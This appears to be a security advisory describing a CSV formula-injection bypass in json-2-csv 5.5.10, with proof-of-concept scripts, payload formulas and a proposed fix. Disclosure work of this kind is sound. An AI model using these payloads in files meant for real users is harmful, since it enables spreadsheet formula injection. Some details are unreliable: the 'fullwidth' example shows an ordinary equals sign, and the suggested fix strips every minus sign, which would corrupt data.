Library: json-2-csv
Version: 5.5.10
Vulnerability: CSV Injection Bypass
Severity: HIGH
Date: 2025-12-06
The preventCsvInjection option in json-2-csv v5.5.10 can be bypassed, allowing formula injection into CSV files. When opened in spreadsheet applications, these formulas execute.
File: src/json2csv.ts, Line 405-415
function preventCsvInjection(fieldValue: unknown): unknown {
if (options.preventCsvInjection) {
if (typeof fieldValue === 'string' && !utils.isNumber(fieldValue)) {
return fieldValue.replace(/^[=+\\-@\\t\\r]+/g, '');
// ^ Only removes from START of string
}
}
return fieldValue;
}The regex /^[=+\\-@\\t\\r]+/g only removes dangerous characters from the beginning of the string, not from the middle or after whitespace.
const { json2csv } = require('json-2-csv');
const data = [
{ name: 'Alice', value: '100' },
{ name: 'Bob', value: '200' },
{ name: 'Total', value: ' =SUM(B1:B2)' } // 3 spaces before =
];
const csv = json2csv(data, { preventCsvInjection: true });
console.log(csv);Output:
name,value
Alice,100
Bob,200
Total, =SUM(B1:B2)Result: Formula is NOT removed. When opened in Excel/Numbers, cell B3 shows 300 (calculated).
const data = [
{ name: 'Alice', value: '100' },
{ name: 'Bob', value: '200' },
{ name: 'Total', value: '=SUM(B1:B2)' } // Fullwidth =
];
const csv = json2csv(data, { preventCsvInjection: true });Result: Fullwidth = is not detected. Formula executes in spreadsheet.
- Data Exfiltration:
=INDIRECT("A1")can read any cell - Information Disclosure:
=MAX(A:A)reveals maximum values - Calculation Manipulation:
=SUM(A1:A10)*2alters totals
CVSS v3.1: 7.5 (High)
- Install:
npm install json-2-csv@5.5.10 - Run:
node poc-csv-injection.js - Open generated CSV in Excel/Numbers
- Verify formulas execute
function preventCsvInjection(fieldValue: unknown): unknown {
if (options.preventCsvInjection) {
if (typeof fieldValue !== 'string') {
fieldValue = String(fieldValue);
}
// Normalize Unicode
fieldValue = fieldValue.normalize('NFKC');
// Remove ALL dangerous characters (not just leading)
return fieldValue.replace(/[=+\-@]/g, '');
// Alternative: Prefix with single quote
// return "'" + fieldValue;
}
return fieldValue;
}/**
* CSV Injection Vulnerability - Minimal PoC
*
* Demonstrates that preventCsvInjection can be bypassed
*/
const { json2csv } = require('json-2-csv');
const fs = require('fs');
console.log('CSV Injection Vulnerability PoC');
console.log('Library: json-2-csv v5.5.10\n');
// Simple PoC: Multiple spaces bypass
const data = [
{ name: 'Alice', value: '100' },
{ name: 'Bob', value: '200' },
{ name: 'Total', value: ' =SUM(B1:B2)' } // 3 spaces before =
];
const csv = json2csv(data, { preventCsvInjection: true });
console.log('Generated CSV:');
console.log(csv);
console.log('');
// Save to file
fs.writeFileSync('poc-bypass.csv', csv);
console.log('✅ File created: poc-bypass.csv');
console.log('');
console.log('Testing:');
console.log('1. Open poc-bypass.csv in Excel/Numbers');
console.log('2. Check cell B3 (Total row)');
console.log('3. If it shows "300" → Bypass works ✅');
console.log('4. If it shows " =SUM(B1:B2)" → Protected ❌');
console.log('');
console.log('Expected: Cell B3 shows 300 (formula executed)');